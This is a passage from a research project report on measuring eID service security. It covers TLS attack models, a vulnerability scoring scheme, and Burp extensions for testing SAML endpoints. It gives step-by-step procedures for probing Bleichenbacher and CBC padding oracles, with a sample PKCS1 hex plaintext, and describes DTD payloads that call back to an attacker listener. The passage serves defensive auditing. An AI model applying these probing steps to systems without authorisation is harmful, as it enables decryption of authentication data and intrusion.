of eID systems based on the evaluation of the transport-based and application-based security.  

 Transport-based Attacks 

Attacks on the TLS protocol can have different impacts and function in different attack models. In 

this section, we first describe attack models which were derived from the attacks on TLS, and 

describe the corresponding best practices which consider protocol versions and cipher suites. 

Afterwards, we present our measurement scheme derived from these models. 

6.1.1 Attack Models 

Every attack follows a different strategy, can have different prerequisites, or can work only in 

specific scenarios. In our methodology, we consider these attack models and the overall goal of 

the attacker. 

6.1.1.1 Attack Goals 

The strength of the described attacks can differ, based on the attack goal. The goal can vary from 

retrieving the server’s private key to decrypt the whole traffic (with the symmetric key), up to 

decrypting only parts of the traffic like browser cookies. 

6.1.1.2 Network Attacker 

One of the basic attack models with a very low complexity is the network attacker model. This 

model assumes that an attacker can communicate with the server and send arbitrary messages 

to the analyzed server. 

An example of such an attack which works using this model is Heartbleed; the attacker just needs 

to connect to the server and send malicious Heartbeat message in order to exploit a buffer 

overread vulnerability. 

6.1.1.3 Eavesdropper 

Sending arbitrary messages to the server does not always make an attack feasible. Additional 

necessary capabilities for performing the attack could be retrieving specific TLS handshake data 

or observing the whole network traffic. We summarize these capabilities in the Eavesdropper 

Attacker Model. However, we note that in some scenarios the attacker could be able to retrieve 

the ciphertext by other means. 

These capabilities are, for example, necessary to execute Bleichenbacher’s attack. This attack 

typically requires an eavesdropped ciphertext for its execution to start. In order to decrypt this 

ciphertext, the attacker adaptively modifies the ciphertext and re-sends it to the server. 

6.1.1.4 Active Man-in-the-Middle (MitM) Attacker 
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This kind of attack requires capabilities to modify the data sent between the client and the server. 

Our MitM attacker can operate in two different scenarios. First, he is in possession of a TLS server 

with a valid certificate for the domain where it is deployed. Such a certificate can be obtained in a 

legal way, either by a payed or by an open certificate authority (such as ‘Let’s encrypt’). The 

spoofed server  is then able to establish valid connections with the victims. In the second scenario, 

the attacker’s goal is to impersonate a foreign TLS server as a way of retrieving the data being 

sent between the server and the client. 

Having a valid TLS server is, for example, necessary to execute the renegotiation attack; the 

attacker first establishes a connection to a valid server (e.g., google.com) and sends initial HTTP 

request data to this server. Once a victim visits the attacker’s website, the attacker performs a 

TLS renegotiation and forwards the client to the server with the established connection. 

6.1.1.5 BEAST Attacker 

Being able to observe the connection is not always enough to perform a specific attack. For 

example, when performing a Vaudenay’s padding oracle attack or POODLE, the attacker  will 

most probably not be able to send several modified ciphertexts to the server, since the TLS server 

will abort the session as soon as a message doesn’t decrypt correctly. Hence, an attacker that 

relies on changing messages in a TLS session would not be able to continue the attack as soon 

as the first decryption error arises. 

Canvel et al. used a model where the client repeatedly connects to the server [11], observing that 

this occurs due to polling behavior of email clients at the time, and exfiltrates an authentication 

password. The BEAST attack [33] essentially used the same model, but rather relied on the 

behavior of modern web browsers. In the simplest form of the BEAST model, a victim is tricked 

into visiting a malicious website controlled by the attacker. That website contains JavaScript which 

causes the victim browser to repeatedly connect to the victim website. Every website request then 

contains the user authentication cookie that is automatically sent by the browser. This behavior 

allows the attacker to force the victim to repeatedly send encrypted values to the server. 

 TLS Configuration Considerations 

Based on widely established standards and the attacks described in the previous section, we 

summarize the TLS configuration considerations and best practice; however, we only concentrate 

on the TLS protocol versions and cipher suites. 

• TLS protocol version:  

• TLS 1.2 and TLS 1.3 are the recommended protocol versions. SSLv2 was 

shown to be vulnerable to various attacks directly after its publication. SSLv3 

does not provide state-of-the-art cryptographic mechanisms. Additionally, it 

makes the server vulnerable to the POODLE attack [122]. TLS 1.0 and TLS 1.1 

are not directly broken; however, they do not provide possibilities for the usage 

of modern ciphers like AES-GCM or ChaCha-Poly. The SLOTH attack1 

 
1 https://www.mitls.org/pages/attacks/SLOTH 

https://www.mitls.org/pages/attacks/SLOTH
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introduced in [133] partially affects TLS 1.0 and TLS 1.1 because of the usage 

of MD5 and SHA-1. TLS 1.0 is also not recommended because of the BEAST 

attack. 

• TLS cipher suites: 

• Handshake:  

▪ TLS-ECDHE cipher suites are recommended. TLS-RSA does not support 

perfect forward secrecy and was a target of recurring Bleichenbacher 

attacks. While TLS-(EC)DHE implementations have also been target of 

several attacks, these attacks are easier to handle and do not affect current 

implementations anymore. 

• Symmetric encryption:  

▪ Cipher suites using AES-GCM and ChaCha-Poly are recommended. CBC 

cipher suites have been targeted by recurring padding oracle attacks. Due 

to their fragility, their usage must be limited. RC4 has also been proven to 

be broken. 

• Hash functions:  

▪ MD5 and SHA-1 should not be used anymore. SHA-256 is considered to 

be secure. 

TLS state machine attacks or buffer boundary violations can always affect TLS implementations. 

They can be prevented by using up-to-date implementations or by restricting the TLS functionality. 

For example, the Heartbleed bug affected only the Heartbeat extension, which is not necessarily 

important for real TLS server deployments. 

 TLS Measurement Design 

In this section, we introduce our measurement design. The design relies on gamification and 

rewards developers with points for every correctly configured TLS feature. Points are deducted 

for insecure TLS features or TLS vulnerabilities. Score capping is used in case of a serious 

vulnerability or insecure TLS feature; this means that the server cannot achieve more points than 

the configured capping number. 

The evaluation was implemented based on the TLS-Attacker and considers the following 

properties: TLS protocol versions, extensions, cipher suites, intolerances, and vulnerabilities. 

Evaluation of TLS certificates is currently out of scope but will be considered in our future work. 

One of the goals of our work is to improve the security of the analyzed TLS servers. After every 

evaluation, the developer receives advises for improving the resulting TLS score. 

In the following two sections, we present our scoring mechanism for the evaluation of 

vulnerabilities and supported protocol versions. Our scoring mechanism is still a work in progress 

and can be adapted in the future, based on the feedback of the scientific community. Current 

documents summarizing the scoring mechanism are provided in the TLS-Scanner repository2. 

 
2 https://github.com/RUB-NDS/TLS-Scanner/tree/master/src/main/resources/rating 

https://github.com/RUB-NDS/TLS-Scanner/tree/master/src/main/resources/rating
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6.3.1 Supported Protocol Versions 

The scoring mechanism is provided in the following table. 

 

Protocol 

Enabled Disabled 

Influence Cap Influence Cap 

SSL 2.0 -300 500 50 - 

SSL 3.0 -200 1000 50 - 

TLS 1.0 -50 1500 50 - 

TLS 1.1 - - - - 

TLS 1.2 100 - -200 1500 

TLS 1.3 500 - -50 - 

Table 1: TLS Score according the TLS version 

It can be seen from the table that the developer receives the most negative points (300) for using 

the SSLv2 protocol. This outdated protocol version is vulnerable to different types of attacks (see 

previous sections). For using SSLv3, the final score is subtracted by 200 points. 

Since our goal is to motivate developers to use new secure TLS versions and features, the 

developer receives 500 points for activating TLS 1.3. The usage of TLS 1.2 is rewarded with 100 

points. For every other correct configuration, 50 points can be received. 

6.3.2 Vulnerabilities 

Designing a scoring mechanism for TLS attacks is more complex than for TLS cipher suites; we 

need to consider different attack scenarios or the attack impact. 

The following table is the result of our evaluation. 

Attack Attack Model Goal Score Cap 

Bleichenbacher Eavesdropper Premaster 

secret 

-800 500 

BREACH BEAST Repeating data 

(e.g., CSRF 

token) 

-500 1000 

CRIME BEAST Repeating data 

(e.g., cookie) 

-500 1000 

DROWN Eavesdropper Premaster 

secret 

-800 500 

Early CCS MitM Connection 

data 

-300 1000 

Heartbleed Network Arbitrary data -1200 500 
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Invalid curve Network Private key -1200 500 

Invalid curve 

(ephemeral 

with key reuse) 

Eavesdropper Ephemeral key -800 500 

Logjam MitM Connection 

data (and 

secret key) 

-500 1000 

Padding oracle BEAST Repeating data 

(e.g., cookie) 

-500 1000 

POODLE BEAST Repeating data 

(e.g., cookie) 

-500 1000 

POODLE 

(TLS) 

BEAST Repeating data 

(e.g., cookie) 

-800 500 

Renegotiation MitM Connection 

data 

-500 1000 

Sweet32 BEAST Repeating data 

(e.g., cookie) 

-300 1000 

Ticketbleed Network 

attacker 

Arbitrary data -800 500 

Table 2: TSL Score according the discovered vulnerabilities 

The scores range from -300 to -1200 points. The Sweet32 attack [135] is rewarded with -300 

points. This is because the attack works in a very complex BEAST attacker model. The attacker 

needs to force the client to send many repeating messages in order to find a block collision and 

potentially decrypt a cookie. On the other hand, Heartbleed and invalid curve attacks are rewarded 

with -1200 points because these attacks allow an attacker to extract the server private key. In 

order to execute the attack, only a connection to the server is necessary. 

 Application-based Attacks 

In comparison to the Transport-based attacks, application-based attacks are much easier to 

measure. All attacks relevant for eID services, and described in this document, are considered 

critical as they affect the security of the entire system. If any of them occurs, the security of the 

system is compromised since a breach and access to sensitive information is possible. 

When abusing DTD features, XML-based attacks like Denial-of-Service, Local File Inclusion, and 

Server-Side Request Forgery are possible which can harm the server processing the malicious 

messages or compromise its network infrastructure. Conversely, attacks on signed XML 

messages may bypass the integrity and authenticity protection, and enable impersonation attacks. 

The challenge regarding these attacks is establishing reliable and fully automated detection of 

such vulnerabilities. Therefore, we spent a lot of effort in providing a powerful tool which was 

capable in executing various aspects of the aforementioned attacks. 
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7. Automated Measurement of Trustworthiness 

The security evaluation and the corresponding trustworthiness measurement of eID services 

share many similarities with the analysis of SSO services, since both technologies are based on 

the same authentication protocols. This allows us to re-use already existing penetration testing 

tools for the security evaluation. We recommend BurpSuite3 (Burp),  which is a widely used 

penetration testing tool for web applications. Burp acts as an intercepting proxy and can be used 

to log, intercept, display, and modify HTTP traffic. For more complex scenarios, Burp  allows 

developers to extend its existing functionality. 

In this section, we introduce two tools which measure the trustworthiness of a service on the 

transport and application layer. Both tools are implemented as BurpSuite extensions and 

published as open-source projects.  

In Section 7.1, we present our new Burp extension known as the TLS-Attacker which analyzes 

TLS server configurations. This extension is based on two already existing command line tools, 

developed by RUB: the TLS-Attacker framework4 and the TLS-Scanner5. By using the TLS-

Attacker Burp extension, penetration testers and security researchers can assess the security of 

TLS server configurations directly within BurpSuite and do not need to install or configure 

additional tools. 

In Section 7.2, we present a security test tool called EsPReSSO, capable of measuring the 

trustworthiness on the application layer. We first summarize the basic functionalities of 

EsPReSSO which we partially implemented in Task 2.3 (Security Evaluation of eID services). 

Subsequently, in Sectiion 7.2.3 we describe the enhancements we added to the tool to improve 

its efficiency in security audits. 

 TLS-Attacker Burp Extension 

7.1.1 Prerequisites 

7.1.1.1 TLS-Attacker 

Meanwhile, there exist several frameworks for the evaluation of TLS libraries. In our work, we rely 

on the TLS-Attacker which was published by Somorovsky in 2016 [46]. It is a flexible Java-based 

TLS analysis framework which allows its users to modify TLS protocol flows along with the 

structure of included TLS messages. The user is then able to analyze the behavior of an 

implementation, perform complex attacks, and execute basic TLS server fuzzing.  

TLS-Attacker relies solely on the low-level cryptography provided by Java and implements the 

entire TLS protocol handling by itself. Currently, it implements the following protocol versions and 

features: 

 
3 https://portswigger.net/ 
4 https://github.com/RUB-NDS/TLS-Attacker 
5 https://github.com/RUB-NDS/TLS-Scanner 
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• SSLv2 – TLS 1.3 

• TLS 1.3 Zero RTT 

• 30 extensions 

• Over 200 cipher suites 

• TLS renegotiation 

• TLS session resumption 

The main functionality of the TLS-Attacker relies on the concept of modifiable variables and 

workflow traces. These two concepts are important for the flexible analyses of TLS 

implementations because they allow for the rapid development of attacks and the evaluation of 

different TLS implementation properties. 

Modifiable Variables 
Each data structure of the TLS protocol in TLS-Attacker is implemented as a ModifiableVariable 

class which wraps native data structures like byte-arrays or integers into classes which can be 

dynamically manipulated at runtime. This can be illustrated with a simple example: 

ModifiableInteger someInteger = Modifiable.add (20); 

someInteger.setOriginalValue (200); 

System.out.println (someInteger.getValue()); // 220 
 

As one can see, the modification can be inserted before the actual value for the variable is 

determined and then is changed dynamically at runtime. This concept allows the user to 

predetermine malformities in a TLS message before the contents of the message are determined. 

The ModifiableVariable package implements different kinds of manipulations like XOR, 

multiplication, or even entirely overwriting of a value. 

Workflow Traces 
TLS-Attacker also supports flexible modifications of complete TLS protocol flows. Every TLS 

protocol flow can be represented by a set of TLS actions formed in a so-called "workflow trace". 

The developer can construct a workflow trace in Java or in XML. Once the TLS-Attacker receives 

a workflow trace, it attempts to send and receive the predefined TLS messages and records the 

behavior of the tested TLS peer. 

A workflow trace is a list of actions which are executed one after the other to perform the entire 

handshake. A typical TLS handshake can be executed with simple actions like Send and Receive. 

A simple example workflow trace may look like this: 

<workflowTrace> 

    <Send> 

        <messages> 

            <ClientHello /> 

        </messages> 

    </Send> 

    <Receive> 
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        <expectedMessages> 

            <ServerHello /> 

            <Certificate /> 

            <ServerHelloDone /> 

        </expectedMessages> 

    </Receive> 

</workflowTrace> 

 
7.1.1.2 TLS-Scanner 

The flexibility of the TLS-Attacker framework allowed us to develop another Java-based tool, the 

TLS-Scanner.6 TLS-Scanner is a tool for evaluating the security of a TLS server. It searches for 

the supported TLS versions, cipher suites, extensions, and vulnerabilities. 

For the FutureTrust project, we extended the TLS-Scanner with the scoring scheme described in 

Section 6.3 to provide TLS developers with an easily understandable security assessment of their 

tested TLS servers. 

7.1.2 Implementation of the TLS-Attacker Burp Extension 

Thanks to the seamless integration of the TLS-Scanner into the BurpSuite, the penetration tester 

only needs to configure one single parameter: the host to be scanned (see Figure 7-1). After 

clicking the Scan button, the extension runs several default checks and responds with a report 

that allows penetration testers to quickly determine potential issues in the server's TLS 

configuration. Basic tests check the supported cipher suites and protocol versions. In addition, 

several known attacks on TLS are automatically evaluated, including Bleichenbacher's attack [34], 

Padding Oracles [33], and Invalid Curve attacks [55]. 

 

Figure 7-1 The TLS-Scanner tab 

Furthermore, the Burp extension allows fine-tuning of the underlying TLS-Scanner configuration. 

The two parameters Parallel Probes and Overall Threads can be used to improve the scan 

performance (at the cost of increased network load and resource usage). It is also possible to 

 
6 https://github.com/RUB-NDS/TLS-Scanner 
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configure the granularity of the scan using Scan Detail and Danger Level. The level of detail 

contained in the returned scan report can be controlled using the Report Detail setting. 

To quickly identify vulnerabilities of a scanned TLS-Server from the report, positive results are 

highlighted in green and negative results in red. For example, obsolete and weak cipher suites 

supported by the server are displayed in red and strong cipher suites in green. Additionally, 

detected bugs and attacks are displayed in red. Figure 7-2 shows a partial report resulting from 

scanning a weak TLS-Server. 

The depicted report shows which TLS attacks have been tested and that the server is vulnerable 

to the various attacks listed, especially against the POODLE and Padding Oracle attacks. In 

addition, it provides details on the positively tested attacks. For example, it shows for the Padding 

Oracle attack which TLS versions and cipher suites are affected.  

At the end, the report provides an overall score to compare the security of different TLS server 

configurations (for details on the technique used to compute the score please refer to Section 6.3.) 

If the user selects a higher Report Detail setting, the report also contains details on how the TLS 

score is composed. It shows which components of the configuration has a positive or negative 

effect on the score. 

Figure 7-2 Part of a report from a weak TLS-Server 
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Figure 7-3 shows the TLS score and the recommendations for the weak server. In addition to the 

TLS score, recommendations are given for the scanned TLS-Server. This could be 

countermeasures for the vulnerabilities found, or more general recommendations such as 

disabling the support of obsolete TLS versions or algorithms. If these recommendations are 

implemented by the TLS-Server developers, the server’s security will be improved, which results 

in higher scores in subsequent scans.  

 

Figure 7-3 Scoring and Recommendations part of a report from a weak TLS-Server 

7.1.3 Scan History 

When several hosts are scanned, the Scan History tab keeps track of the performed scans. This 

is useful for comparing the results of subsequent scans. 
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Figure 7-4 The Scan-History tab 

 EsPReSSO – Functionalities 

The Extension for Processing and Recognition of Single Sign-On Protocols (EsPReSSO)7, which 

we introduced and extended in Task 2.3, is an open-source BurpSuite extension that is able to 

automatically identify and classify SSO messages, allowing penetration testers to easily analyze 

and manipulate SSO message flows. 

EsPReSSO was designed and implemented to recognize and distinguish different SSO protocols. 

It has an automatic scanning function that passively inspects the browser's traffic by scanning 

HTTP parameters and keywords. In the event that an SSO protocol is recognized, the 

corresponding request/response is highlighted, and a note displays that the protocol was detected. 

Specifically, for the SAML protocol, EsPReSSO also provides a SAML-Editor and SAML-Attacker 

functionality. 

7.2.1 SAML-Editor 

The SAML-Editor searches each intercepted HTTP request/response for SAML relevant 

parameters and automatically decodes the SAML message before displaying the SAML AuthnReq 

or AuthnResponse, respectively. Furthermore, the SAML-Editor provides the means to 

accomplish modifications of the intercepted messages in a user-friendly way. 

7.2.2 SAML-Attacker 

The SAML-Attacker provides a user interface with a small predefined set of attacks – particularly 

regarding specific attacks targeting XML Signature processing. For example, the Signature 

Exclusion and Signature Faking attacks (summarized in Sections 5.3 and 5.4) are supported. 

During the execution of these attacks, the signatures are recognized by analyzing the 

<ds:Signature> elements. The penetration tester can then select a specific signature element 

to apply the chosen attack on. Figure 7-5 shows the graphical interface of the tool. 

 

 
7 https://github.com/RUB-NDS/BurpSSOExtension 



Future Trust Services for Trustworthy Global Transactions  
Measurement of Trustworthiness 

 
 

Document name: Evaluation of eID and Trust Services  

Reference: D2.4 Dissemination: PU Version: 1.0 Status: Final Page:   35 of 51 

 

 

Figure 7-5 Attacker tab for XML Signature Exclusion and XML Signature Faking 

In this example for the Signature Faking attack, the original certificate is copied, the key is replaced 

by a new one, and the certificate is re-signed. Next, the original certificate is replaced, and the 

target message is also re-signed.  

7.2.3 Extending EsPReSSO 

Testing for XEE and XSW vulnerabilities in SAML endpoints can be a tedious process, as a large 

number of attack vectors must be tested when undergoing a comprehensive vulnerability analysis. 

For this reason, we extended EsPReSSO with a DTD and XSW-Attacker in a fully automated 

mode. 

Additionally, we extended EsPReSSO with an Encryption Attacker to perform XML Encryption 

attacks. 

7.2.3.1 DTD-Attacker 

Burp's Intruder tool allows sending automated requests with varying payloads to a test target and 

analyzes the responses. We created a set of attack vectors and included a payload generator 

called DTD Payloads to ease testing the XML processing endpoints for XEE vulnerabilities. 

Before starting the evaluation, the penetration tester needs to configure the attacker-listener 

parameter with the URL where the forged HTTP requests are to be sent. The provided URL is 

then automatically inserted into all attack vectors and sent to the target. If the target is vulnerable, 

the attacker-listener will receive a corresponding request from the target. 

When the tester wishes to assign a unique listener URL per test vector, EsPReSSO provides the 

ability to enter the total number of required URLs. Otherwise it allows the user to either set up 

each URL using a subdomain method, or as a path domain. The following examples illustrate of 

both methods: 

• Example of a Path Domain: http://example.com/1, http://example.com/2, 

http://example.com/3 

• Example of a Subdomain: http://1.example.com, http://2.example.com, 

http://3.example.com 
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Furthermore, for those attack vectors which cause URL invocation, it enables the definition of 

corresponding protocol handlers. It is also possible to select the encoding of the test vectors. We 

assume the tester to have reasonable background knowledge for testing, and therefore give the 

tester the full flexibility to set encoding themselves, depending on whether GET or POST will be 

used. 

This automated approach allows penetration testers to quickly determine vulnerable targets and 

which specific attack vectors the target may be vulnerable to. The user interface of the DTD 

Payload Generator is shown in Figure 7-6. 

 

7.2.3.2 XSW-Attacker 

Testing for XML Signature Wrapping vulnerabilities in XML processing endpoints can also be a 

tedious process, as the penetration tester needs to not only know the details of the various XSW 

techniques, but also must handle a multitude of repetitive copy-and-paste tasks and apply the 

appropriate encoding into each message. With the integration of the WS-Attacker8 library, 

EsPReSSO now contains a payload generator called XSW Payloads to make this testing process 

easier and faster. 

Before the automated test can start, some configuration is required (see Figure 7-7). To prepare 

a Signature Wrapping attack, a payload needs to be configured in such a way that values of the 

originally signed message are replaced with values of the attacker's choice. For achieving this, 

the tester only needs to enter the current value of the text-node to be replaced and a replacement 

value. Moreover, multiple values can be provided here - however, all given replacements must be 

child nodes of the signed element. A Modifications Table then shows the valid substitution pairs 

and corresponding XPath selectors. 

 
8 https://github.com/RUB-NDS/WS-Attacker 

Figure 7-6 Configuration window of the automatic DTD-Attacker 
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Figure 7-7 Configuration window of the automatic XSW-Attacker 

A schema analyzer can additionally be selected, and checkboxes at the bottom of the window 

allow the tester to choose a specific encoding. The encoding settings are preset to the values 

detected by EsPReSSO when analyzing the intercepted message. 

After configuring the Intruder, the attack can be started and will send each of the pre-generated 

vectors to the configured endpoint. This may result in a huge number of outgoing requests. For 

easier recognition of successful Signature Wrapping attacks, we recommend using the Intruder's 

Grep-Match functionality. For example, consider adding the replacement values from the 

Modifications Table as a Grep-Match rule in the Intruder's Options tab. By doing so, a successful 

attack vector will be marked with a checkmark in the results table if its response includes any of 

the configured grep rules. 

7.2.3.3 Encryption Attacker 

Confidentiality of transferred authentication statements against intermediaries can be provided by 

using XML Encryption. The new Encryption Attacker within the EsPReSSO's SAML module is 

intended to detect vulnerable implementations of such XML Encryptions. If a SAML response 

containing an EncryptedAssertion has been intercepted, the Encryption Attacker becomes 

selectable in the Attacks pane of the SAML tab. This works in Burp's Proxy, as well as in its 

Repeater tool. 

Figure 7-8 depicts the user interface of Encryption Attacker. At the top there is a text field where 

the certificate, which was used to encrypt the symmetric session key, can be pasted into. This 

field will be automatically pre-filled if the intercepted SAML message includes a certificate in the 

KeyInfo child element of the EncryptedData element. The Update Certificate checkboxes 

above the text area can be used to include the certificate in the manipulated SAML message. 
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Figure 7-8 The user interface of the new encryption tab 

In the Symmetric key text field, the hexadecimal value of the symmetric session key can be set. 

Additionally, the asymmetric encryption algorithm can be provided by the tester by using a 

dropdown menu. After clicking the Encrypt key button, the corresponding KeyInfo elements of 

the intercepted SAML message are automatically updated. 

The XML payload data can now be entered into the corresponding text area. Any update in the 

XML data field will also be reflected in the hexadecimal representation of the payload (found on 

right of the XML data field). Note that this is automatically padded to the block length required by 

the selected symmetric algorithm. However, the payload as well as the padding may be manually 

adjusted in the hex editor field. 

Upon clicking the Encrypt content button, the encrypted payload is generated, and the changes 

are applied to the intercepted SAML message. 

Probing for Bleichenbacher Oracles 

Bleichenbacher's attack against RSA-PKCS1 v1.5 encryption abuses the malleability of RSA to 

draw conclusions about the plaintext by multiplying the ciphertext with adaptively chosen values 

and observing differences in the received responses. If the (error-) responses differ for valid and 

invalid PKCS1 v1.5 ciphertexts, Bleichenbacher's algorithm can be used to decrypt the ciphertext 

without knowing the private key [34]. 

To determine whether or not a SAML endpoint is vulnerable to Bleichenbacher's attack, we simply 

need to check if we can distinguish those responses received when submitting ciphertexts that 
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are decrypted into invalidly formatted PKCS1 v1.5 plaintexts, from the responses we receive when 

sending ciphertexts that are decrypted into validly formatted plaintexts.  

Recall that PKCS1 v1.5 mandates a certain format of the encrypted plaintext, namely a 

concatenation of a BlockType 00 02, a randomized PaddingString (PS) that includes no 00 bytes, 

a 00 (NULL-byte) as delimiter, and the actual plaintext message. The whole sequence should be 

equal in size to the modulus of the RSA key used. That is, given the byte length k of the RSA 

modulus and the message length |m|, PS has the length |PS| = k - 3 - |m|. Furthermore, PKCS1 

v1.5 demands that |PS| to be at least eight bytes long [21] [34]. 

In SAML, the recipient's public key is usually known because it is published in the metadata, or 

even included in the EncryptedAssertion. For this reason, we do not need to fiddle around 

with manipulated ciphertexts. Instead, we simply submit a validly formatted RSA-PKCS1 v1.5 

encrypted message and another encrypted message which deciphers into an invalidly formatted 

plaintext. As an example, assume an RSA public key of 2048 bits which we want to use to encrypt 

a 16 byte session key 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 (hexadecimal 

representation). |PS| is 2048/8 - 3 - 16 = 237, so a valid PKCS1 v1.5 plaintext, ready to be 

encrypted using AA for all 237 padding bytes, could look like the listing shown below. 

In the Encryption attack pane of EsPReSSO, first ensure that the correct public key certificate has 

been added to the Certificate field. Then insert a valid plaintext, such as the one above, into the 

Symmetric key field and select Plain RSA encryption from the Algorithm drop down menu. Click 

the Encrypt button to compute the RSA transformation and apply the new EncryptedKey 

element to the intercepted SAML message. Now, submit the message by clicking Burp's Go or 

Forward button and carefully inspect the response. 

Next, repeat the steps outlined above, but this time submit an invalid PKCS1 v1.5 message. For 

example, consider using an invalid BlockType of 12 34 instead of 00 02, or replace the 00 

00 02 AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 00 

01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 
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delimiter so that the decryptor is unable to determine the actual message after decrypting the 

ciphertext. If you are able to determine from the received responses whether or not the submitted 

ciphertext is decrypted into a valid PKCS1 v1.5 formatted plaintext, chances are high that the 

decryptor can be used as a Bleichenbacher Oracle. Also, do not forget to take the actual XML 

data into account, i.e., the assertion encrypted with the new session key. By submitting valid or 

invalid XML, or by removing signatures from the SAML message (or the assertion itself) you may 

increase your chances of detecting differences in the returned responses. 

Probing for Oracles in CBC-Mode Decryption 

Another known attack on XML Encryption is aimed at the Cipher Block Chaining (CBC) mode, 

which can be used with the block ciphers AES or 3DES [76]. The attack is described in detail in 

[4] and is quite similar to Padding-Oracle attacks on CBC mode. The malleability of CBC mode 

encryption enables the attacker to perform a bytewise, adaptive manipulation of the ciphertext 

blocks which are subsequently sent to the decryptor. In most cases, the manipulated ciphertext 

will not decrypt to valid XML and an error will be returned. However, sometimes the plaintext will 

be parsed as valid XML, in which cases an error is thrown later on the application layer. The 

attacker observes the differences in the responses in order to turn the decryptor into a ciphertext 

validity oracle which can be used to break the encryption. Due to some particularities of the XML 

format, this attack can be a very efficient and enabling decryption with about 14 requests per byte, 

and it is even possible to fully automate the process [94]. 

In order to determine whether a particular SAML service provider is vulnerable to this attack, we 

can avoid the cumbersome ciphertext manipulation if we are in possession of the decryptor's 

public key. For this purpose, add the corresponding public key certificate to the Certificate field in 

the Encryption Attacker tab of EsPReSSO. Additionally, insert a symmetric key of your own choice 

into the Symmetric key text field. Finally, select an appropriate RSA encryption method and click 

the Encrypt button to apply the new EncryptedKey element to the original SAML message.  

An XML message can now be inserted into the XML data text field. Select a CBC mode encryption 

algorithm and click Encrypt to apply the changes. As in the previous example, press Burp's Go or 

Forward button to send the message and carefully inspect the response. Try sending invalid XML 

content, e.g., by not closing a tag or using the `&` character without a valid entity and keep an eye 

open for differences in the returned responses. To manipulate the CBC padding use the 

hexadecimal representation of the plaintext on the right. If you send a single block and set the last 

byte (which indicates the padding length) to the block size - i.e. 16 or 0x10 for AES - the ciphertext 

should be decrypted into an empty string and is generally considered "valid" XML. 

Summary 

The new XML Encryption Attacker included in EsPReSSO can help security auditors to quickly 

assess whether a SAML endpoint is vulnerable to known attacks against XML Encryption. The 

decryptor's public key is used in order to send suitable test vectors that can be provided in plaintext 

and a sophisticated ciphertext manipulation is not required. The actual process of decrypting an 
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intercepted SAML message is, however, considered out of scope and not yet implemented in 

EsPReSSO. 
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8. Conclusion 

In this document, we introduced relevant attacks on eID services which should be addressed 

during the development and deployment of corresponding solutions. Many of the attacks are 

based on the unconscious integration and usage of vulnerable or outdated libraries - not being 

aware of the related risks. Other vulnerabilities result from insecure configurations, made during 

setup of security critical components. 

To address all this, we elaborated a novel methodology to measure the security and the 

corresponding trustworthiness of a target. The measurement relies mainly on a detailed scan of 

the target system, including security tests for known attacks and misconfiguration checks. We 

developed different tools working fully- or semi-automated with a fine-grained control of test 

configurations. All the tools are capable to accomplish different attack vectors, evaluate their 

success and produce a human readable report. In this way security experts and administrators 

can repeatedly evaluate and improve the security of their systems. 

All documents and implementations are publicly available and open-source. Thus, the scope and 

amount of all implemented security tests and measurements can and will be extended by future 

research. 
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